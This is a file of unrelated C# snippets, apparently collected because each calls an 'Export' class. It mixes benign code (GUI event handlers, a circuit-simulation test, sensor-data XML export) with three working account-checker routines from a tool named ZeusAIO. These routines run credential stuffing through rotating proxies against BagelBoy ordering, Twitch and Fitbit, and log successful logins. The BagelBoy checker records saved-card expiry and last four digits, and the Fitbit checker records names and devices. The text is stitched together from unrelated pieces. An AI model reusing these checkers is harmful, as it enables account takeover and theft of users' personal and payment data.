"username="******"&password="******"&app_id=&restaurant_id=564b586f4f5ee9ab057b23c6&order_id=&ajax=true"; string strResponse = httpRequest.Post("https://ordering.orders2.me/login?to=https%3A%2F%2Fordering.orders2.me/menu/bagelboy3rdave%3Fkey%3D349f2ff5ba80df26513caf426321d4e1%26include_combo%3Dtrue", str, "application/x-www-form-urlencoded").ToString(); { if (strResponse.Contains("error")) { break; } else if (strResponse.Contains("{\"success\":true}")) //hit { string checkpayment = httpRequest.Get("https://ordering.orders2.me/admin/user/profile", null).ToString(); string payment = ""; string expire2sin = Check.Parse(checkpayment, "expires", "</p>"); string endidn = Check.Parse(checkpayment, "ending in", "expires"); if (checkpayment.Contains("expires")) { payment = "true"; } else { payment = "false"; } ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - BAGELBOY] " + s[0] + ":" + s[1] + " | Has payment method: " + payment + " | Expiration: " + expire2sin + " | Last four: " + endidn, Color.Green); } Export.AsResult("/BagelBoy_hits", s[0] + ":" + s[1] + " | Has payment method: " + payment + " | Expiration: " + expire2sin + " | Last four: " + endidn); return(false); } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } //break; } } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
static void widget_EventMouseButtonPressed(Widget _sender, int _left, int _top, MouseButton _id) { Export.DebugOut("EventMouseButtonPressed _left=" + _left.ToString() + " _top=" + _top.ToString() + " _id=" + _id.ToString()); }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; httpRequest.AddHeader("User-Agent", "Mozilla/5.0 (Linux; Android 6.0.1; SM-J106H Build/MMB29Q; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/84.0.4147.105 Mobile Safari/537.36 hasFix PHAPP"); httpRequest.AddHeader("Client-Id", "85lcqzxpb9bqu9z6ga1ol55du"); string str = "{\"variables\":{\"username\":\"" + s[0] + "\"},\"query\":\"query checkIsUsernameAvailable($username: String!) { isUsernameAvailable(username: $username) }\"}"; httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string strResponse = httpRequest.Post("https://gql.twitch.tv/gql", str, "application/json").ToString(); { if (strResponse.Contains("isUsernameAvailable\":true")) { break; } else if (strResponse.Contains("isUsernameAvailable\":false")) //hit { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - TWITCH LEGACY] " + s[0] + ":" + s[1], Color.Green); } Export.AsResult("/Twitch_Legacy_hits", s[0] + ":" + s[1]); return(false); } else { ZeusAIO.mainmenu.errors++; goto Retry; } } break; } } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
static void widget_EventMouseMove(Widget _sender, int _left, int _top) { Export.DebugOut("EventMouseMove _left=" + _left.ToString() + " _top=" + _top.ToString()); }
public SingleExportComposablePart(Export export) { ArgumentNullException.ThrowIfNull(export); _export = export; }
public static bool CheckAccount(string[] s, string proxy) { for (int i = 0; i < Config.config.Retries + 1; i++) { while (true) { try { Retry: using (HttpRequest httpRequest = new HttpRequest()) { proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount)); if (ZeusAIO.mainmenu.proxyProtocol == "HTTP") { httpRequest.Proxy = HttpProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4") { httpRequest.Proxy = Socks4ProxyClient.Parse(proxy); } if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5") { httpRequest.Proxy = Socks5ProxyClient.Parse(proxy); } httpRequest.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36"; httpRequest.IgnoreProtocolErrors = true; httpRequest.AllowAutoRedirect = true; string str = string.Concat(new string[] { "username="******"&password="******"&scope=activity heartrate location nutrition profile settings sleep social weight mfa_ok&grant_type=password" }); httpRequest.AddHeader("Authorization", "Basic MjI4VlNSOjQ1MDY4YTc2Mzc0MDRmYzc5OGEyMDhkNmMxZjI5ZTRm"); httpRequest.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(httpRequest.SslCertificateValidatorCallback, new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify())); string text2 = httpRequest.Post("https://android-api.fitbit.com/oauth2/token?session-data={\"os-name\":\"Android\",\"os-version\":\"5.1.1\",\"device-model\":\"LGM-V300K\",\"device-manufacturer\":\"LGE\",\"device-name\":\"\"}", str, "application/x-www-form-urlencoded").ToString(); if (text2.Contains("deviceVersion")) { ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - FITBIT] " + s[0] + s[1], Color.Green); } Export.AsResult("/Fitbit_hits", s[0] + ":" + s[1]); return(false); } else { if (text2.Contains("Invalid username/password") || text2.Contains("Missing parameters") || text2.Contains("plan\":\"\"")) { // break; } else if (text2.Contains("access_token")) { httpRequest.ClearAllHeaders(); string str2 = Check.Parse(text2, "access_token\":\"", "\""); string str3 = Check.Parse(text2, "user_id\":\"", "\""); httpRequest.AddHeader("Authorization", "Bearer " + str2); string text3 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/devices.json?", null).ToString(); if (text3.Contains("[]")) { } else if (text3.Contains("deviceVersion")) { string text4 = Check.Parse(text3, "deviceVersion\":\"", "\""); string text5 = Check.Parse(text3, "lastSyncTime\":\"", "\""); httpRequest.AddHeader("Authorization", "Bearer " + str2); string text6 = httpRequest.Get("https://android-api.fitbit.com/1/user/" + str3 + "/profile.json", null).ToString(); if (text6.Contains("fullName\":\"")) { string text7 = Check.Parse(text6, "fullName\":\"", "\""); string text8 = Check.Parse(text6, "memberSince\":\"", "\""); ZeusAIO.mainmenu.hits++; if (Config.config.LogorCui == "2") { Console.WriteLine("[HIT - FITBIT] " + s[0] + ":" + s[1] + " | Name: " + text7 + " | Member Since: " + text8 + " | Last Sync Time: " + text5 + " | Device: " + text4, Color.Green); } Export.AsResult("/Fitbit_hits", s[0] + ":" + s[1] + " | Name: " + text7 + " | Member Since: " + text8 + " | Last Sync Time: " + text5 + " | Device: " + text4); return(false); } } else { ZeusAIO.mainmenu.realretries++; goto Retry; } } } } //break; } catch (Exception ex) { ZeusAIO.mainmenu.errors++; } } } return(false); }
/// <summary> /// Starts the export of sensor data values for a particular node. This call must be followed by a call to <see cref="EndNode"/>. /// Use <see cref="StartTimestamp"/> to export node information pertaining to a given point in time. /// </summary> /// <param name="NodeId">Node ID.</param> public void StartNode(string NodeId) { Export.StartExportNode(this.xml, NodeId); }
public void When_DelayTransient_Expect_Reference() { // Build the circuit var ckt = new Circuit( new VoltageSource("V1", "in", "0", new Pulse(0, 5, 1e-7, 1e-7, 1e-7, 1e-5, 2e-5)), new VoltageDelay("Delay1", "out", "0", "in", "0", 0.5e-5) ); // Build the simulation var tran = new Transient("tran", 1e-7, 10e-5); var exports = new Export <double>[] { new GenericExport <double>(tran, () => tran.Method.Time), new RealVoltageExport(tran, "in"), new RealVoltageExport(tran, "out"), }; var references = new[] { new[] { 0, 1E-09, 2E-09, 4E-09, 8E-09, 1.6E-08, 3.2E-08, 6.4E-08, 1E-07, 1.064E-07, 1.192E-07, 1.448E-07, 1.96E-07, 2E-07, 2.08E-07, 2.24E-07, 2.55999999999999E-07, 3.19999999999999E-07, 4.47999999999997E-07, 7.03999999999994E-07, 1.21599999999999E-06, 2.23999999999998E-06, 4.23999999999998E-06, 6.23999999999998E-06, 8.23999999999998E-06, 1.02E-05, 1.021E-05, 1.023E-05, 1.027E-05, 1.03E-05, 1.0308E-05, 1.0324E-05, 1.0356E-05, 1.042E-05, 1.0548E-05, 1.0804E-05, 1.1316E-05, 1.234E-05, 1.434E-05, 1.634E-05, 1.834E-05, 2.01E-05, 2.011E-05, 2.013E-05, 2.017E-05, 2.02E-05, 2.0208E-05, 2.0224E-05, 2.0256E-05, 2.032E-05, 2.0448E-05, 2.0704E-05, 2.1216E-05, 2.224E-05, 2.424E-05, 2.624E-05, 2.824E-05, 3.02E-05, 3.021E-05, 3.023E-05, 3.027E-05, 3.03E-05, 3.0308E-05, 3.0324E-05, 3.0356E-05, 3.042E-05, 3.0548E-05, 3.0804E-05, 3.1316E-05, 3.234E-05, 3.434E-05, 3.634E-05, 3.834E-05, 4.01E-05, 4.011E-05, 4.013E-05, 4.017E-05, 4.02E-05, 4.0208E-05, 4.0224E-05, 4.0256E-05, 4.032E-05, 4.0448E-05, 4.0704E-05, 4.1216E-05, 4.22400000000001E-05, 4.42400000000001E-05, 4.62400000000001E-05, 4.82400000000001E-05, 5.02E-05, 5.021E-05, 5.023E-05, 5.027E-05, 5.03E-05, 5.0308E-05, 5.0324E-05, 5.0356E-05, 5.042E-05, 5.0548E-05, 5.0804E-05, 5.1316E-05, 5.23400000000001E-05, 5.43400000000001E-05, 5.63400000000001E-05, 5.83400000000001E-05, 6.01E-05, 6.011E-05, 6.013E-05, 6.017E-05, 6.02E-05, 6.0208E-05, 6.0224E-05, 6.0256E-05, 6.032E-05, 6.0448E-05, 6.0704E-05, 6.1216E-05, 6.22400000000001E-05, 6.42400000000001E-05, 6.62400000000001E-05, 6.82400000000001E-05, 7.02E-05, 7.021E-05, 7.023E-05, 7.027E-05, 7.03E-05, 7.0308E-05, 7.0324E-05, 7.0356E-05, 7.042E-05, 7.0548E-05, 7.0804E-05, 7.1316E-05, 7.23400000000001E-05, 7.43400000000001E-05, 7.63400000000001E-05, 7.83400000000001E-05, 8.01E-05, 8.011E-05, 8.013E-05, 8.017E-05, 8.02E-05, 8.0208E-05, 8.0224E-05, 8.0256E-05, 8.032E-05, 8.0448E-05, 8.0704E-05, 8.1216E-05, 8.22400000000001E-05, 8.42400000000001E-05, 8.62400000000001E-05, 8.82400000000001E-05, 9.02E-05, 9.021E-05, 9.023E-05, 9.027E-05, 9.03E-05, 9.0308E-05, 9.0324E-05, 9.0356E-05, 9.042E-05, 9.0548E-05, 9.0804E-05, 9.1316E-05, 9.23400000000001E-05, 9.43400000000001E-05, 9.63400000000001E-05, 9.83400000000001E-05, 0.0001 }, new[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.32, 0.960000000000001, 2.24, 4.8, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000009, 3.5000000000001, 1.50000000000012, 4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000007, 3.50000000000005, 4.99999999999995, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999993, 1.49999999999995, 4.79616346638068E-14, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.49999999999988, 4.99999999999978, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.49999999999992, 3.49999999999976, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.50000000000008, 1.50000000000024, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.499999999999741, 1.4999999999999, 3.50000000000022, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 4.50000000000026, 3.5000000000001, 1.49999999999978, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, new[] { 0.0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 0, 0, 0 }, }; // Analyze AnalyzeTransient(tran, ckt, exports, references); DestroyExports(exports); }
private void hyperLinkEdit1_OpenLink(object sender, OpenLinkEventArgs e) { Export.ExportGridToFile(processedGrid, "xls"); }
/// <summary> /// Stops exporting Sensor Data. /// </summary> public void End() { Export.EndExportXml(this.xml); }
/// <summary> /// Starts the export of sensor data values for a particular node. This call must be followed by a call to <see cref="EndNode"/>. /// Use <see cref="StartTimestamp"/> to export node information pertaining to a given point in time. /// </summary> /// <param name="NodeId">Node ID.</param> /// <param name="CacheType">Cache Type</param> /// <param name="SourceId">Source ID.</param> public void StartNode(string NodeId, string CacheType, string SourceId) { Export.StartExportNode(this.xml, NodeId, CacheType, SourceId); }
static void widget_EventKeyButtonReleased(Widget _sender, KeyCode _key) { Export.DebugOut("EventKeyButtonReleased _key=" + _key.ToString()); }
/// <summary> /// Stops exporting a node. This call must be made for every call made to <see cref="StartNode"/>. /// </summary> public void EndNode() { Export.EndExportNode(this.xml); }
/// <summary> /// Stops exporting a timestamp. This call must be made for every call made to <see cref="StartTimestamp"/>. /// </summary> public void EndTimestamp() { Export.EndExportTimestamp(this.xml); }
public static void ExportMod() { var singleton = new EditorScriptableSingleton <ExportSettings>(); Export.ExportMod(singleton.Instance); }